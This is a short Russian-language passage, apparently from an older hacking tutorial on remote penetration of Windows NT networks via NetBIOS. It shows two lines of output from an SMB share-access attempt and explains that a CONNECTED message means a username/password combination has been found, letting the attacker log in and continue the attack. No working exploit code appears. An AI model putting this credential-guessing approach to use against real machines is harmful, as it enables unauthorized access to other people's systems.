[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
Если Вы изучите результаты, Вы можете ясно видеть сообщение CONNECTED,
которое сообщает хакеру, что инструмент нашел правильную комбинацию
имени пользователя/пароля. Теперь хакер может вручную
соединиться с этой машиной, используя недавно найденную комбинацию
имени пользователя/пароля и начать свою атаку.
Это конец раздела об удаленном проникновении через NetBIOS. Имейте
в виду, что методы, обсужденные выше не являются ни статическими,
ни автономными. Хакер, потративший время на изучение проникновения
в NT-сети, станет чрезвычайно творческим и будет использовать
не только методы выше, но и персональные разновидности этих
методов.
|